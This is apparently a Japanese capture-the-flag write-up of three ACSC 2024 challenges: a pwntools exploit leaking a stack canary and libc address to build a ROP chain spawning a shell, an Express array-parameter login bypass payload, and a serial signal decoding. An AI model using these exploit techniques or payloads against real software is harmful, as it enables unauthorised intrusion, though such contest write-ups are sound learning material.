ACSCのやつ

ACSC

簡単な問題だけ解けました. 楽しかったです.

rot13 [pwn]

#include <stdio.h>
#include <string.h>

#define ROT13_TABLE                                                    \
   "\x00\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f" \
   "\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f" \
   "\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f" \
   "\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f" \
   "\x40\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x41\x42" \
   "\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x5b\x5c\x5d\x5e\x5f" \
   "\x60\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x61\x62" \
   "\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x7b\x7c\x7d\x7e\x7f" \
   "\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f" \
   "\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f" \
   "\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf" \
   "\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf" \
   "\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf" \
   "\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf" \
   "\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef" \
   "\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff"

void rot13(const char *table, char *buf) {
    printf("Result: ");
    for (size_t i = 0; i < strlen(buf); i++)
        putchar(table[buf[i]]);
    putchar('\n');
}

int main() {
    const char table[0x100] = ROT13_TABLE;
    char buf[0x100];
    setbuf(stdin, NULL);
    setbuf(stdout, NULL);

    while (1) {
        printf("Text: ");
        memset(buf, 0, sizeof(buf));
        if (scanf("%[^\n]%*c", buf) != 1)
            return 0;
        rot13(table, buf);
    }
    return 0;
}
❯ checksec rot13         
[*] '/home/trimscash/acsc/pwn/distfiles-rot13/rot13'
    Arch:     amd64-64-little
    RELRO:    Full RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled

rot13をテーブルを用いて実装している.

まず以下を見るとtable配列の要素をbuf[i]で指定している. ここでbufcharであるので,マイナスを取りうる.

例えば\xffをbufに入れておけばtableの上のデータを見ることができる.

void rot13(const char *table, char *buf) {
    printf("Result: ");
    for (size_t i = 0; i < strlen(buf); i++)
        putchar(table[buf[i]]);
    putchar('\n');
}

これにより,スタック上のrot13関数のリターンアドレスと,canaryとスタックのbase addrがリークできる.

なのであとは以下の部分に存在するbuf overflowでROPする.

     if (scanf("%[^\n]%*c", buf) != 1)
            return 0;

ここでlibc addrのリークが必要だが,これもrot13を読んだときのスタックに積まれていた. putchar+119

putchar+119

libcは配布されているDockerfileにより入手できる

FROM ubuntu:22.04@sha256:bcc511d82482900604524a8e8d64bf4c53b2461868dac55f4d04d660e61983cb
ENV DEBIAN_FRONTEND noninteractive

文字列/bin/shbase addrがあるので,スタックに積んでおきそれを使う.

以下solver.py

from pwn import *
from pwn import packing

libc = ELF("./libc.so.6")
# io = process("./rot13")
# io = gdb.debug("./rot13", "b main\nc")
io = remote("rot13.chal.2024.ctf.acsc.asia", 9999)

payload = b""

leak_num = 15

for i in range(1, 0x8 * leak_num + 1):
    payload += pack(-i, 8, "little", True)

print(payload)

io.sendlineafter(b"Text: ", payload)

io.recvuntil(b"Result: ")
res = io.readline()[:-1]
print(res)

leaks = []
for i in range(leak_num):
    temp = res[i * 8 : i * 8 + 8][::-1]
    leaks.append(u64(temp))

ret_addr = leaks[0]
base_addr = leaks[1]
canary = leaks[2]
putchar_addr = leaks[-1]  # <putchar+119>
libc_base = putchar_addr - (libc.sym["putchar"] + 119)

print(hex(ret_addr))
print(hex(base_addr))
print(hex(canary))

print(hex(putchar_addr))
print(hex(libc.sym["putchar"]))
print(hex(libc_base))

pop_rdi = 0x2A3E5 + libc_base
sh_str = 0xDBCE8 + libc_base
system = libc.sym["system"] + libc_base
nop = 0x378DE + libc_base

print(hex(libc.sym["system"]))

binsh_addr = base_addr + 0x8 * 5

payload = b"a" * 0x108 + p64(canary) + b"b" * 8
payload += p64(nop)
payload += p64(pop_rdi)
payload += p64(binsh_addr)
payload += p64(system)
payload += b"sh"
print(payload)
io.sendlineafter(b"Text: ", payload)
io.sendline()

io.interactive()

実行するとシェルが取れフラグがもらえた.

ACSC{aRr4y_1nd3X_sh0uLd_b3_uNs1Gn3d}

login [web]

app.js

const express = require('express');
const crypto = require('crypto');
const FLAG = process.env.FLAG || 'flag{this_is_a_fake_flag}';

const app = express();
app.use(express.urlencoded({ extended: true }));

const USER_DB = {
    user: {
        username: 'user',
        password: "crypto.randomBytes(32).toString('hex')"
    },
    guest: {
        username: 'guest',
        password: 'guest'
    }
};

app.get('/', (req, res) => {
    res.send(`
    <html><head><title>Login</title><link rel="stylesheet" href="https://cdn.simplecss.org/simple.min.css"></head>
    <body>
    <section>
    <h1>Login</h1>
    <form action="/login" method="post">
    <input type="text" name="username" placeholder="Username" length="6" required>
    <input type="password" name="password" placeholder="Password" required>
    <button type="submit">Login</button>
    </form>
    </section>
    </body></html>
    `);
});

app.post('/login', (req, res) => {
    const { username, password } = req.body;
    if (username.length > 6) return res.send('Username is too long');

    const user = USER_DB[username];
    if (user && user.password == password) {
        if (username === 'guest') {
            res.send('Welcome, guest. You do not have permission to view the flag');
        } else {
            res.send(`Welcome, ${username}. Here is your flag: ${FLAG}`);
        }
    } else {
        res.send('Invalid username or password');
    }
});

app.listen(5000, () => {
    console.log('Server is running on port 5000');
});

Dockerfile

FROM node:alpine

WORKDIR /app
COPY app.js /app

RUN yarn add express

CMD ["node", "app.js"]

docker-compose.yaml

version: '3.5'
services:
  web:
    build: .
    ports:
      - "5000:5000"
    environment:
      FLAG: ACSC{fake}

開くと以下. これにguest以外としてログインすればフラグがもらえる.

app.jsを見ると,express.urlencoded({ extended: true })とある.

const app = express();
app.use(express.urlencoded({ extended: true }));

以下のページによると,username[]=aなどとすると,配列が作れるらしい.

blog.hamayanhamayan.com

手元で適当に実際に試してみると,確かに配列になっていることがわかる.

これを用いて何とかならないか.

いろいろと手元でガチャガチャしていたら. ["guest"]=="guest"がtrueになることがわかった.

    const user = USER_DB[username];
    if (user && user.password == password) {
        if (username === 'guest') {
            res.send('Welcome, guest. You do not have permission to view the flag');
        } else {
            res.send(`Welcome, ${username}. Here is your flag: ${FLAG}`);
        }
    } else {
        res.send('Invalid username or password');
    }

これにより,username[]=guestとリクエストすると.(つまりusername=["guest"]) ここで,userがguestになり.

    const user = USER_DB[username];

ここでは,===で型を含めて比較しているので,以下がfalseになりフラグが取得できるはず.

        if (username === 'guest') {

最終的なpayloadは以下のようになった.

username[]=guest&password=guest

これを送る.

curlでやったらなんか駄目だった.ローカルでは行けた.

フラグがもらえた.

ACSC{y3t_an0th3r_l0gin_byp4ss}

An4lyz3-1t [hardware]

Our surveillance team has managed to tap into a secret serial communication and capture a digital signal using a Saleae logic analyzer. Your objective is to decode the signal and uncover the hidden message.

配布ファイルを展開すると,拡張子がsalのファイルがあった.

問題文によると,Saleae logic analyzerを使って記憶したシリアル通信とのことなので,

Saleae logic analyzerのソフトをインストールしてみてみる.

www.saleae.com

するとこんな感じ.

一番幅が小さそうなとこを見ると,9.596kHzと57.554Hzという値が出てきた.なので,これに近い一般的に使われるボーレートを指定してみる.

www.renesas.com

Add analyzerからAsync Serialを指定して設定できる.このBit Rateがそれ.

試せばわかるが以下のように57600Hzにした時が一番それらしかった.

しかし,framing errorとなっている.

以下のページを見るといい感じの図があるのだが,シリアル通信には,stop bitというものがあり,それはHighになっていないといけない.上の図でいうと赤いバツがついているところがHighでないといけない.

www.japansensor.co.jp

では,あと一ビット文何かが足りないはず.シリアル通信にはオプションでparity bitをつけることができるので,多分それが足りていない. また信号を見るとわかる通り,偶数個のHighになっているのでeven parityであることがわかる.

これを指定すればいい.

横のAnalyzerタブから先ほど追加したAnalyzerを編集する.

Parity BitEven Parity Bitを指定する.

するといい感じに見えている.

横のAnalyzerタブのTerminalを見るとフラグが見えた.

ACSC{b4by4n4lyz3r_548e8c80e}

以上

Web, Cryptoをもっと解けるようになりたい.(というか全部解けるようになりたい.)と言いつつたゆまぬ努力というやつができていないのだが..

頑張ります.

楽しかったです.

解けなくて悩んでいる時,観る将棋が存在し得るなら,観るのCTFも存在し得ることに気づいた(((

観るCTFerとして頑張ります((うそです

flag{hello_my_friend}